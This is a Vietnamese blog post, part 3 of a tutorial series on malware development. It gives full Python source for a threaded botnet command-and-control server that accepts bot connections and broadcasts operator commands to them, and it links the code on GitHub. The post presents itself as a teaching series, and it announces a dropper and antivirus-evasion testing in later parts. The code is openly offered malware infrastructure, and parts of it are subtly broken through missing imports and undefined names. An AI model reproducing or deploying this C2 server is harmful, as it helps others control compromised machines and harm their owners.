Phát triển phần mềm độc hại - The Dark Side: Phần 3
Trong các phần trước 1, 2-1 và 2-2 của loạt bài này, chúng tôi đã tạo một tệp nhị phân có thể kết nối và phân tích cú pháp các lệnh được gửi qua trình nghe netcat. Cùng Bizfly Cloud tìm hiểu kỹ hơn về vấn đề này qua bài viết dưới đây.
>> Phát triển phần mềm độc hại - The Dark Side: Phần 1
>> Phát triển phần mềm độc hại - The Dark Side: Phần 2-1
>> Phát triển phần mềm độc hại - The Dark Side: Phần 2-2
Tuy nhiên, netcat không phải là lựa chọn lý tưởng cho Botnet Server, và trong bài viết này, chúng ta sẽ viết một Botnet Server python3 chính thức, gửi các lệnh tới Bot và kiểm tra xem nhị phân C có thể phân tích cú pháp lệnh đã nhận hay không. Trong blog tiếp theo, chúng tôi cũng sẽ bắt đầu viết các hàm bot và cuối cùng là một dropper. Droppers có thể thực sự hữu ích khi xử lý các tệp nhị phân lớn. Khi chúng tôi tiếp tục viết phần mềm độc hại của mình, các bạn sẽ nhận thấy rằng chúng tôi có thể cần phải tăng dung lượng bộ đệm và xử lý DWORDS trong Windows không có kiểu dữ liệu unsigned long hoặc double word. Tùy thuộc vào kích thước DWORD được sử dụng trong nhị phân, đôi khi chúng có xu hướng tăng kích thước dữ liệu. Đây cũng là nơi chúng ta có thể sử dụng droppers.
Droppers có kích thước thực sự thấp và chỉ download nhị phân phần mềm độc hại chính trong lúc thực thi. Chúng tôi sẽ mô tả cách thực hiện việc này trong phần sau của blog.
# Botnet
Hãy bắt đầu bằng việc viết một socket phía server và để cho các đối số có thể phân tích cú pháp thông qua dòng lệnh. Chúng ta sẽ viết 2 lớp và 2 hàm trong đó, một hàm sẽ là main(). Các lớp sẽ chạy các tuyến đoạn vì chúng sẽ chạy toàn thời gian trong nền để xử lý nhiều kết nối bot. Hàm khác với hàm main () sẽ là một trình lắng nghe sẽ thực hiện công việc gọi các lớp và chủ đề. Hãy nhớ rằng, mọi thứ chúng ta làm sẽ chạy trong cùng một không gian bộ nhớ và tất cả các danh sách và dicts sẽ được truy cập toàn bộ với nhau. Về lâu dài, bạn có thể phải thay thế thread với đa xử lý nếu bạn muốn có một cái gì đó giống như một botnet thích hợp với hàng chục ngàn chương trình, nhưng thread cũng đủ đảm bảo để bắt đầu như bây giờ. Ngoài ra, việc thay thế các thread bằng process thực sự dễ dàng trong python.
Tất cả các mã có sẵn tại đây https://github.com/paranoidninja/Botnet-blogpost/ trên repo của tôi.
Main()
Hãy bắt đầu với hàm main ():
#!/usr/bin/python3 import socket #import socket library import sys #import system library for parsing arguments import os #import os library to call exit and kill threads import threading #import threading library to handle multiple connections import queue #import queue library to handle threaded data q = queue.Queue() Socketthread = [] def main(): if (len(sys.argv) < 3): print ("[!] Usage:\n [ ] python3 " sys.argv[0] " <LHOST> <LPORT>\n [ ] Eg.: python3 " sys.argv[0] " 0.0.0.0 8080\n") else: try: lhost = sys.argv[1] lport = int(sys.argv[2]) listener(lhost, lport, q) except Exception as ex: print("\n[-] Unable to run the handler. Reason: " str(ex) "\n") if __name__ == '__main__': main() |
Các thư viện mà chúng ta đã nhập trước hàng đợi đều là self-explanatory, vì vậy tôi sẽ bắt đầu bằng cách giải thích với thư viện hàng đợi. Khi chúng tôi có nhiều bot được kết nối với nhiều luồng đang chạy, chúng tôi cần các bot để giao tiếp với máy chủ chính cũng như máy chủ khác. Mặc dù các bot này chạy trong cùng một không gian bộ nhớ, chúng tôi không thể gửi dữ liệu đến tất cả chúng cùng một lúc. Đây là lý do tại sao chúng tôi sử dụng thư viện hàng đợi. Nó giúp chúng ta xếp hàng trong dữ liệu và gửi dữ liệu trong phương thức FIFO (First In First Out) cho mỗi luồng. Luồng trong Python sử dụng GIL (Global interpreter lock) để xử lý các chuỗi con và tương tác với chúng.
Socketthread là một danh sách sẽ lưu trữ tất cả các chủ đề con sẽ được sinh ra bởi quá trình chính. Sử dụng tổng số bot được kết nối, sau đó chúng tôi có thể tính toán số lượng lệnh được tải trong hàng đợi để gửi tới từng bot. Trong chức năng chính, chúng ta kiểm tra xem liệu các đối số được cung cấp có nhỏ hơn 3 hay không. Nếu có, thì chúng ta sẽ đánh dấu nhắc sử dụng dòng lệnh của tập lệnh khác mà chúng ta sẽ tiếp tục. Chúng tôi lưu trữ các giá trị nhận được thông qua dòng lệnh trong lhost và lport - là máy chủ lắng nghe và cổng của chúng tôi. Khi chúng ta có thể phân tích cú pháp lhost như một số nguyên cần thiết cho socket, chúng ta chuyển các giá trị như các đối số cho hàm listener(). Cuối cùng, hãy xem liệu có bất kỳ lỗi nào hay không và in nó ra bằng cách sử dụng ngoại lệ.
Listener ()
Dưới đây là hàm listener ():
def listener(lhost, lport, q): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_address = (lhost, lport) server.bind(server_address) server.listen(100) print ("[ ] Starting Botnet listener on tcp://" lhost ":" str(lport) "\n") BotCmdThread = BotCmd(q) BotCmdThread.start() while True: (client, client_address) = server.accept() newthread = BotHandler(client, client_address, q) Socketthread.append(newthread) newthread.start() |
Một lần, chúng tôi nhận được lhost và lport, chúng tôi nối kết cổng cho IPV4 và luồng TCP trong dòng đầu tiên. Chúng tôi làm cho cổng có thể tái sử dụng vì nhiều kết nối sẽ được xử lý trên cùng một cổng và bắt đầu lắng nghe nó để xác định rằng tối đa 100 kết nối sẽ được xử lý. Bất cứ kết nối nào nhiều hơn thế sẽ bị bỏ lại trong hàng đợi và sẽ kết nối khi có bất kỳ client hiện tại nào ngắt kết nối. Sau đó chúng tôi in rằng listener đã khởi động và chờ kết nối đến.
Khi một kết nối được nhận, điều đầu tiên chúng ta cần làm là chuyển hàng đợi rỗng đến một lớp BotCmd khởi động một luồng và nhắc nhở các lệnh được gửi tới các bot. Chúng ta bắt đầu luồng bằng cách sử dụng start (). Bước tiếp theo là chấp nhận kết nối đến và bắt đầu một luồng mới bằng cách gọi lớp BotHandler (được xác định bên dưới) cho mỗi bot được kết nối. Chúng tôi bỏ qua địa chỉ IP, chi tiết kết nối socket và giá trị hàng đợi mà sẽ chứa lệnh nhận được bởi luồng BotCmd (được xác định bên dưới) mà chúng tôi đã tạo trước đó. Giá trị và số lượng các chủ đề con được lưu trữ trong danh sách Socketthread mà chúng ta đã tạo trước đó và sau đó chúng ta khởi động luồng. Quá trình này chạy trong một vòng lặp và tiếp tục chấp nhận các kết nối đến cho đến khi nó đạt tới 100 hoặc được yêu cầu đóng bằng tiến trình cha.
BotCmd ()
class BotCmd(threading.Thread): def __init__(self, qv2): threading.Thread.__init__(self) self.q = qv2 def run(self): while True: SendCmd = str(input("BotCmd> ")) if (SendCmd == ""): pass elif (SendCmd == "exit"): for i in range(len(Socketthread)): time.sleep(0.1) self.q.put(SendCmd) time.sleep(5) os._exit(0) else: print("[ ] Sending Command: " SendCmd " to " str(len(Socketthread)) " bots") for i in range(len(Socketthread)): time.sleep(0.1) self.q.put(SendCmd) |
Không có gì nhiều để nói ở đây vì bản thân code là self-explanatory. Chúng tôi khởi tạo thread bằng self và chạy một vòng lặp True thực hiện 3 bước như bên dưới:
1. Vượt qua vòng lặp nếu nhận được lệnh rỗng
2. Gửi lệnh đến tất cả các Bots để ngắt kết nối và thoát khỏi Botnet nếu nhận được lệnh thoát
3. Đánh dấu lời nhắc cho lệnh tiếp theo khi lệnh được phân tích cú pháp và được gửi tới luồng BotHandler qua hàng đợi
Luôn luôn phải ghi nhớ gán lại giá trị của đối số cho giá trị cục bộ bằng cách sử dụng self khi sử dụng một luồng, nếu không, sẽ không thể xác định đối tượng. Vòng lặp for, chạy một số chương trình được kết nối và đặt cùng một số lượng dữ liệu trong hàng đợi sao cho nó được gửi đến tất cả các chương trình đúng cách. Chúng tôi cũng đã sử dụng chức năng ngủ từ thư viện thời gian, bởi vì luồng của python3 có chút lỗi và đôi khi nó gửi tất cả dữ liệu trong hàng đợi tới chỉ một bot. Lệnh ngủ này đã sửa được lỗi ở đây.
BotHandler ()
Code cho BotHandler:
class BotHandler(threading.Thread): def __init__(self, client, client_address, qv): threading.Thread.__init__(self) self.client = client self.client_address = client_address self.ip = client_address[0] self.port = client_address[1] self.q = qv def run(self): BotName = threading.current_thread().getName() print("[*] Slave " self.ip ":" str(self.port) " connected with Thread-ID: ", BotName) ClientList[BotName] = self.client_address while True: RecvBotCmd = self.q.get() try: self.client.send(RecvBotCmd.encode('utf-8')) except Exception as ex: print(ex) break |
Đây là lớp chính sẽ xử lý tất cả khối lượng công việc của CPU và bộ nhớ. Đầu tiên chúng ta phân tích cú pháp các đối số nhận được từ hàm listener () tức là client chứa các chi tiết socket, client_address chứa địa chỉ IP và cổng của máy khách, và cuối cùng biến qv chứa giá trị hàng đợi được gửi qua luồng BotCmd ().
Ngay khi hàm listener () chuyển các đối số cho luồng này, nó gán một tên cho mỗi tiến trình con với một quy ước đặt tên kiểu: Thread-x, với x là một số gia tăng với mỗi kết nối bot. Sau khi kết nối, luồng đi vào chế độ nghe và bắt đầu nghe lệnh đến trong hàng đợi. Ngay sau khi một lệnh được gửi đến hàng đợi thông qua BotCmd, nó sẽ được kéo ra bởi các luồng/ luồng bot con và được gửi đến các bot tương ứng. Chúng ta đặt phần gửi này trong một khối try:exception để nếu một bot ngắt kết nối do một số lý do, nó sẽ in nó trên màn hình.
Theo như lý thuyết thì tất cả đều diễn ra suôn sẻ, bây giờ chúng ta hãy tiếp tục và xem cách nó hoạt động trong quá trình thực hiện. Hiện tại, tôi đang sử dụng nhiều kết nối netcat để hình dung ra Bot, chỉ muốn xác nhận rằng các lệnh đã được gửi đúng vào Bots. Một khi đã xác nhận được xong, chúng tôi tiếp tục viết C Bot và sau đó kết nối với nó:
http://niiconsulting.com/checkmate/wp-content/uploads/2018/03/C2_test_with_nc.mp4?_=1
Một khi điều này được thực hiện, chúng tôi sau đó sẽ di chuyển đến C nhị phân và kiểm tra xem liệu nó đã nhận được lệnh mà chúng tôi đã gửi hay chưa. Hãy nhớ là xóa "\n" mà tôi đã đề cập trong blog trước đó từ mã C trước khi biên dịch nó. Máy chủ python3 của chúng tôi sẽ gửi dữ liệu ở định dạng thô và sẽ không thêm dòng mới vào đó. Nếu không, bạn cũng có thể thêm một "\ n" trong mã python3 trước khi gửi nó đến Bots. Dù bằng cách nào đi chăng nữa thì đều hoạt động tốt. Còn tôi, tôi sẽ thêm mã được hiển thị bên dưới trước hàm self.client.send () trong lớp BotHandler ():
class BotHandler(threading.Thread): . . . try: RecvBotCmd = "\n" self.client.send(RecvBotCmd.encode('utf-8')) except Exception as ex: . . . |
Khi các thay đổi ở trên được thực hiện, hãy tiếp tục và thực hiện nhiều phiên bản của các tệp nhị phân và xem liệu Máy chủ C2 của chúng tôi có gửi mã cho cả hai một cách thích hợp hay không. Bạn cũng có thể thử chạy nhị phân này từ nhiều máy ảo. Hãy chắc chắn rằng bạn đã thay đổi <Địa chỉ IP> trong mã C trước khi chạy nó từ một máy ảo khác. Vì chúng ta đã định cấu hình bot C để phân tích cú pháp các lệnh whoami, pwd và exit, nên bất kỳ lệnh nào khác sẽ bị Bot từ chối. Hiện tại, Bot của chúng tôi sẽ không ngắt kết nối vì chúng tôi chưa viết mã cuối cùng cho bot, mà chúng tôi sẽ thực hiện trong blog tiếp theo.
(xem link video bên dưới)
http://niiconsulting.com/checkmate/wp-content/uploads/2018/03/C2_test_with_malware.mp4?_=2
Tất cả các mã trong blogpost ở trên có thể được tìm thấy ở đây. https://github.com/paranoidninja/Botnet-blogpost/
Cuối cùng, đây là tất cả những gì tôi cần truyền đạt trong phần thứ ba của loạt blog phát triển phần mềm độc hại. Trong phần tiếp theo, chúng tôi sẽ hoàn thành việc viết ra các chức năng cơ bản của phần mềm độc hại và quét nó bằng các chương trình diệt virus phổ biến như Kaspersky / Symantec / McAfee và hãy chờ xem điều gì sẽ xảy ra tiếp theo!
link gốc: http://niiconsulting.com/checkmate/2018/03/malware-development-welcome-dark-side-part-3/
Nguồn: Bizfly Cloud chia sẻ
>>Có thể bạn quan tâm: Phát triển phần mềm độc hại - The Dark Side: Phần 4